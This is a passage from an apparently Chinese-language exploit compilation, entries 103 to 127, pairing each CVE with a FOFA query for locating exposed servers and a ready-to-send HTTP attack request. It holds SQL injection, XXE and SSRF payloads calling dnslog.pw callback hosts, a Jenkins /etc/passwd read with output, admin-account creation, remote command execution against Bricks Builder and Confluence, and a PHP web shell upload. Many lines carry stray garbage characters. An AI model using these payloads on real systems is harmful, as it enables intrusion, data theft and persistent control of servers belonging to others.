POST /dana-ws/saml20.ws HTTP/1.1
" @, ~, t  B. t# h  ?Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
Accept-Encoding: gzip

/ x4 e" m* g; i4 o<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
0 X0 W( l) e# _7 P8 l& APOST /dana-na/auth/saml-sso.cgi HTTP/1.1
2 Q$ m7 J& q7 H4 a, r3 `- ?Host: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
0 G7 l* C1 [9 B9 i% jConnection: close
) M; x: U  S; `+ g+ I$ jContent-Length: 204
# r- i2 U5 o# E) ?4 a7 r( AContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==


其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
3 i2 ]+ m4 w1 g/ y  G<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>


, F, F* q0 x6 m% G, T104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
& L# ]# N1 `! _FOFA：title="TOTOLINK"
0 W( f! c2 F3 d8 K) YPOST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
3 S4 K) @8 v. f" kContent-Length:41
, \2 X5 s& u6 v* J( L2 BAccept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
2 g! b% t3 N9 D# oUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
7 M2 Q. Q# v+ w1 t, ]Referer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
# E$ J5 b9 s4 Q% F6 D( SConnection:close

{
1 o: T( r/ O4 A' \* u) ~"topicurl":"getSysStatusCfg",
"token":""
}

- G5 p& Q, R' s% B& W8 t105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
  A5 p$ G; A8 X: ~5 Chttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
5 o& H* D* @7 c. s5 q, p2 Y. FHost: your-ip
& I. a) B& E" \# ^* c# Y8 v% tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
9 U7 W* v6 U3 S+ hBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
; Q" Z  V3 @7 o! sAccept-Language: zh-CN,zh;q=0.9
) [- y, T+ i$ K  m8 o9 B- EConnection: close


107. SpringBlade tenant/list SQL 注入
7 C% B# {3 O% Z! u' ]FOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
6 |, e8 `0 N" A: h. BHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
2 Y$ b4 ^& J5 {9 sBlade-Auth:替换为自己的
, n7 k" f6 @! f  w# qConnection: close
( z6 i5 X; ^4 U3 s

108. D-Tale 3.9.0 SSRF
+ q+ W0 ?% o" t" i  ]+ v) GCVE-2024-21642
; H& Y& Y! s* }' n9 ]5 fFOFA："dtale/static/images/favicon.png"
9 g- H/ c) d4 SGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
: l6 r9 f4 I( j; ]7 T! V. OHost: your-ip
Accept: application/json, text/plain, */*
+ ^' G$ @8 [+ @+ D6 k: J3 l5 fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
1 A. y) p9 i3 dConnection: close


9 ?, h  M8 ?' u: h- J7 ?109. Jenkins CLI 任意文件读取
CVE-2024-23897
FOFA：header="X-Jenkins"
9 q& g& z: C) u* W1 kPOST /cli?remoting=false HTTP/1.1
Host:
Content-type: application/octet-stream
+ }6 J/ Y7 d$ a& GSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
Connection: keep-alive
2 w, ]/ s6 C& {- cContent-Length: 163
/ I; n( v  K. P# Q7 K$ a
( s$ \/ c- i  I. A" D6 _b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'

6 D( c3 Q$ g/ s1 Q5 ~
POST /cli?remoting=false HTTP/1.1
! Q: |) R8 Y/ x& ^Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
) u" \( K: R3 D, a2 I; U8 Y8 UContent-Type: application/x-www-form-urlencoded
7 ?: O& P, }. x9 |Content-Length: 0


ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
# f# D' b  S  h2 R: o1 C1 L[COMMAND]
Lists all the available commands or a detailed description of single command.
2 y$ g8 [5 S4 j2 L$ d. F COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)


110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
+ E" b5 C" i, x/ X" z$ R6 y  [FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
% n6 a$ S' `2 }8 C$ a! Q+ C- QHost: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
: Y! A; O' g: q$ q9 ]Connection: close
Accept: */*
8 ~9 L) _9 f' D/ o" dAccept-Language: en
1 w# K+ m2 B& {Accept-Encoding: gzip


111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
6 D/ ?( j8 _  `4 dFOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
7 I. N. x- r" I6 g; i. R1 GConnection: close
Accept: */*
% N8 L1 Z! `- V  u4 `+ W) KAccept-Language: en
Accept-Encoding: gzip
: b" f' ?" l% I4 I. u7 q
) L2 U5 |) g/ N4 y: Y
2 j& N9 f  d2 Q! s6 s+ c112. WordPress Plugin NotificationX SQL 注入
4 T# z) t: B5 v2 @+ `CVE-2024-1698
1 D; p) D2 Z: p: i! UFOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
& R6 v4 L# Q! [  W% N8 ~Host: {{Hostname}}
1 o" d( g* w* W$ y0 k6 oContent-Type: application/json
: @5 M5 ^4 F3 @( E& W$ K
# m+ y8 [6 ~  T4 E4 E{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
- V( v( ]5 C! l/ \" G( m, l

: B3 s4 e& g) O7 l  ?. X113. WordPress Automatic 插件任意文件下载和SSRF
' @+ X; f3 n& |0 R! w- o( F. BCVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
5 S% b% v3 f% ^2 Z2 y# _User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
5 L6 B6 p* `( o8 \1 `/ tConnection: close
Accept: */*
8 z3 V/ J% S' }0 t, bAccept-Language: en
0 U* x* F+ ~+ @Accept-Encoding: gzip
  v5 k( L! g7 ?( g7 k

% ?; R; E6 D3 x9 |5 f; }: q114. WordPress MasterStudy LMS插件 SQL注入
% _* f2 }9 o1 h1 u7 U, n: X/ KFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
3 r) B- ]* `: D4 eAccept-Encoding: gzip, deflate
Connection: close

  I$ t5 G7 ^1 \# t
; f- v3 v% P3 H1 ^1 ~% S115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
% W6 \  q7 c2 w6 \2 |第一步，获取网站的nonce值
GET / HTTP/1.1
Host: x.x.x.x
( H1 S; ~3 ~" J7 g  AUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
, \( j! _" O3 \; w9 v6 d# o+ ZConnection: close
Accept-Encoding: gzip
. Q) ~* v6 @. x
7 r. d- w# f+ Y; t
' s5 k+ ~/ i3 b% u3 H+ ~第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
) q' x& c: S0 x3 W" P& d9 r. v8 ZContent-Length: 356
1 Z! {0 N! c0 X7 i' {& YContent-Type: application/json
Accept-Encoding: gzip

9 i. B2 e7 C* j% K! b; C5 x{
"postId": "1",
# q& `+ L0 `; L8 P4 }, Z" m  "nonce": "第一步获得的值",
  "element": {
    "name": "container",
* \8 M* P3 t/ X" o( o& P    "settings": {
      "hasLoop": "true",
      "query": {
3 X* H  \: m, z4 s, a  b* G7 p        "useQueryEditor": true,
/ g9 D' A/ d- v( c9 w# f        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
+ T2 h4 m! d7 A# r) [      }
    }
, J; h  P; t, K5 h  }
& K2 i( }8 s( f+ l* J7 M}

% F1 F, I4 S& B; o- D( w
  e! p! p) u$ z116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
$ Z5 \* Z8 D9 uPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=--------767099171
/ a! [2 g; @7 O, M+ v3 l; AUser-Agent: Mozilla/5.0

: q6 t- n+ Y( X( B# R3 g----------767099171
; X" [- B( ?6 c" h& i8 _Content-Disposition: form-data; name="action"
configuration_saveconfiguration
0 A) Z" j0 h# I3 \2 ~, J----------767099171
% ]1 B7 X# b: f- s1 X8 J! V( i/ a/ |Content-Disposition: form-data; name="form_request"
jssupportticket
----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
----------767099171--
' u8 ^( w- o! T- |0 u! V) E3 T
; E9 m. {% a& ^& ^! A: N; a7 J
* P/ ^2 h8 `: d) o/ K7 w117. WordPress LayerSlider插件SQL注入
4 J9 R' f8 \2 @2 s7 x" }version：7.9.11 – 7.10.0
0 z! J# O& u, i: n6 ]- dFOFA：body="/wp-content/plugins/LayerSlider/"
7 n3 O, s2 |, m; K/ |7 p+ ?GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
+ ?6 W3 k* [% ^& n2 h) RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
/ ]' {* R) G6 QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ ]  h. N( P- a: m5 _; SAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
$ U9 a) h: Y6 M! ZConnection: close
) S' U* v* R9 _/ N% G( gUpgrade-Insecure-Requests: 1


118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
% j) v, w4 F! ^- F% \CVE-2024-0939
* v( g# Y" c! U6 mFOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
; z( G4 Z  t! ?& [- Z1 s. Q* vCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; `, \% ~; V' s, H- z6 dAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, J8 G5 I) a, X( AAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
, e" C5 B' D  k6 J# v9 n! aOrigin: https://192.168.40.130:8443
# |+ |- [) _0 p6 j& i+ i# S' `Referer: https://192.168.40.130:8443/Tool/uploadfile.php
5 {3 |; |) O: S) j: T7 ?7 FUpgrade-Insecure-Requests: 1
. [& G# z& o. r/ {" t% zSec-Fetch-Dest: document
& h# Y9 m& G; ?Sec-Fetch-Mode: navigate
* [% R4 h5 `" J$ C$ q% A6 PSec-Fetch-Site: same-origin
' ]: `% J  c" ~3 n! z8 n  LSec-Fetch-User: ?1
2 Q: [% _+ Z8 a' R. kTe: trailers
, m. v, n% v; p6 t& j8 }Connection: close
. ]0 J3 b" s' M. M
3 I! z6 [5 \5 u6 m8 J-----------------------------13979701222747646634037182887
# `  }5 ^" F) X. n" ]2 F1 g) @Content-Disposition: form-data; name="file_upload"; filename="contents.php"
5 P+ W+ K) x' d" I* b. n4 X$ p) [7 fContent-Type: application/octet-stream

# Q: E5 N9 ?. [3 Z2 |<?php
system($_POST["passwd"]);
/ V$ A/ o  V- w?>
7 }5 F6 w2 P" l( k4 R-----------------------------13979701222747646634037182887
1 k- {/ h3 I4 LContent-Disposition: form-data; name="txt_path"
5 V- ?& b( E" o
, z) \- f* d  I1 l# P3 H" b/home/src.php
-----------------------------13979701222747646634037182887--
$ l/ T9 h$ Z0 Q9 p

2 S% Z$ ?; U( i访问/home/src.php
& n/ X/ L  |8 r% C4 Q2 f# z
119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
) S. i$ ^( ?% c# \/ ?$ q& d8 n) ZFOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
" z. r0 j  G3 P7 T. G0 V3 I. ^4 m6 \( UHost: x.x.x.x
+ J4 H/ T/ _2 ]3 ]8 ACookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
, @6 {& C! ?* {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
# b, ]- c3 g3 \9 ^) O. m- n; a0 rAccept: */*
) h2 F8 E& [6 v. {4 Q) UAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
, h# t! B; B+ w, Q5 NContent-Length: 109
Origin: https://58.18.133.60:8443
4 `/ q# Q. w4 n' W' d: a; l4 aReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
. C0 B- y& x( g1 T0 ^' E6 @) VX-Originating-Ip: 1.1.1.1
5 Z2 a9 F: P7 Z) z, `4 kX-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
- ~: R. ^* s! }3 @" _# I4 _Te: trailers
Connection: close

src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
2 R5 h" U! z/ [* W2 i& ?6 d4 H, A8 ]

120. 北京百绰智能S40管理平台导入web.php任意文件上传
  I  d% ]: s; m# g) H+ N$ c5 UCVE-2024-1253
FOFA：title="Smart管理平台"
) u. M6 C* }: M6 sPOST /useratte/web.php? HTTP/1.1
Host: ip:port
. v9 q5 I; G5 k" M2 fCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
6 _0 f0 _; j; h+ ]! HUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 a% V( Y( m  E) ?1 K7 \Accept-Encoding: gzip, deflate
! Y5 R# n- h( U  SContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
& d  u8 W& v% W0 YOrigin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
" ?; }$ w: p+ g) D! @* T& L- D; XSec-Fetch-Dest: document
" z1 T8 i" d+ s1 M& i: I! gSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
2 F  t5 j; k$ O, o& z2 w4 N3 iSec-Fetch-User: ?1
Te: trailers
Connection: close
  p, O7 I4 L$ E: {# N
' T$ W  s! e$ P-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
/ q% U% H) ^% p2 `* Y9 h5 zContent-Type: application/octet-stream

2 B! K4 G& z- b( T/ x<?php phpinfo()?>
# ]. T4 B* G& X4 {2 z-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
( t8 Y" z1 ?( w
; T- Y1 F# S4 t( M1
: O  N: J' s9 o3 v' Q-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

  P4 }( K4 _# ~8 O# W. ^1_radhttp
( f8 X3 J1 j5 C3 F+ \-----------------------------42328904123665875270630079328
2 @+ K7 m. W8 H  d5 x7 O  xContent-Disposition: form-data; name="mode"

import
-----------------------------42328904123665875270630079328


文件路径/upload/2.php

121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
FOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
2 d* |% e" s/ y- B- @Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
+ k4 r" h: ]! eUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. m) h/ M2 ]+ b) S+ P) w' bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 |3 y7 e$ n6 f' W& _; j3 P+ vAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
, U1 W2 L1 n9 h6 T8 U' H+ KOrigin: https://192.168.40.130:8443
% V1 z5 i2 M6 }2 AUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
5 H8 M; V5 [. }: J# }Te: trailers
5 K" t* b/ b3 I6 b3 }Connection: close

+ q6 o$ G8 N9 \+ O5 \' {4 V-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
6 A3 o( {* w5 _Content-Type: application/octet-stream
2 d, z9 W; T  R7 [. x$ J
2 e4 `* s6 o+ E0 E' J% }( o<?php phpinfo();?>
-----------------------------42328904123665875270630079328
9 v" W* \' ]5 `; S$ dContent-Disposition: form-data; name="id_type"

8 Z. i% D( J- l* m; M7 B2 l# d1
. _3 z3 d2 M- F& E-----------------------------42328904123665875270630079328
- T4 i2 L" O3 _& k7 OContent-Disposition: form-data; name="1_ck"
* M' A2 w! b8 Z+ _6 I9 G* y) Q
1_radhttp
7 K, C: u. ^+ P- N-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"

0 {2 {% i9 j6 {, a, p1 m! p' |+ D* Lset
$ i) S8 V; q% G-----------------------------42328904123665875270630079328

4 c3 a; H. h3 {  o- Z
boot/web/upload/weblogo/1.php
1 k. a6 N( |' U' z
3 b, B+ T  n5 z- l( t; I122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
2 _6 J( s" C0 w/ |; c: B: C8 g* nGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
0 Q' Y+ W# `! gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
1 q& W* G  Z' Y$ O: w, {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 f; }7 w$ k6 F( aAccept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
9 X3 B/ `$ f5 h5 l: t( i9 q  fSec-Fetch-Mode: navigate
& Z5 ?# ?2 i- @, n3 L2 LSec-Fetch-Site: none
Sec-Fetch-User: ?1
" N0 N2 m: {- u- v& h: F4 O- RTe: trailers
' n9 s- {! `  G9 sConnection: close
: n+ d# A3 \5 X' e& t/ K; M

123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
; j" t5 e9 i2 }5 ~& SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
+ y4 P3 X2 g* j1 d* fConnection: close
8 Y4 M& X4 R4 ]# @( ^1 BContent-Type: application/x-www-form-urlencoded

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
; p/ G  ]! q! Q, d+ K4 L

124. 湖南建研工程质量检测系统任意文件上传
( W7 V- R! R. p4 C1 A9 MFOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
% z+ J0 Z/ g6 @: v  ^Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 [1 x$ I# }( |) x% L5 J0 r+ o4 h& yConnection: close
Content-Type: application/x-www-form-urlencoded
$ M9 {! c+ r& d
$ [+ @: \+ N/ C0 EfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
& c8 \4 N1 Y% F" ~: y! u
+ _/ O4 j1 n/ ]( Y, g  w3 u
http://192.168.40.130:8282/Scripts/abcgcg.aspx

. C0 B1 J6 `5 r* b: Y125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
! ?2 B+ L" Y, G0 A/ A& X# ]FOFA：icon_hash="-82958153"
; v6 d2 D, l# H$ b9 o8 bhttps://github.com/watchtowrlabs ... bypass-add-user-poc
5 d" p! {% H$ W. C2 O" h

# _0 X: [0 Q: y$ x0 U使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
/ c$ j( ]; v" B5 v' ]. Q

7 b# S) y2 I- M, z3 u  x' F8 f5 G创建好用户后直接登录后台，可以执行系统命令。

126. Aiohttp 路径遍历
) }8 \" J0 l8 y1 m$ }FOFA：title=="ComfyUI"
6 I4 _! K$ `, d% \* t) rGET /static/../../../../../etc/passwd HTTP/1.1
5 l0 C/ ~: l  f; E/ I5 g. @1 aHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
$ |; L8 ~# z: ?Accept-Language: en
Accept-Encoding: gzip


127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
1 p& P4 D% o1 b" ~) ?% CPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
( G' r9 W8 O3 ]2 |  m: o5 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
) x8 m5 R% |4 C: z2 K2 mContent-Length: 415
0 M! O" W' n) V+ O" C" ^: v, EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
0 u7 {% |  d; C7 fAccept-Language: zh-CN,zh;q=0.9
( n' ~  o; v8 y% E# w( b8 ?Connection: close
: k0 [# Q! `6 g. vContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
1 J7 F' y% C1 t) W+ e; x5 g. k* E8 Y2 d0 PSec-Purpose: prefetch;prerender

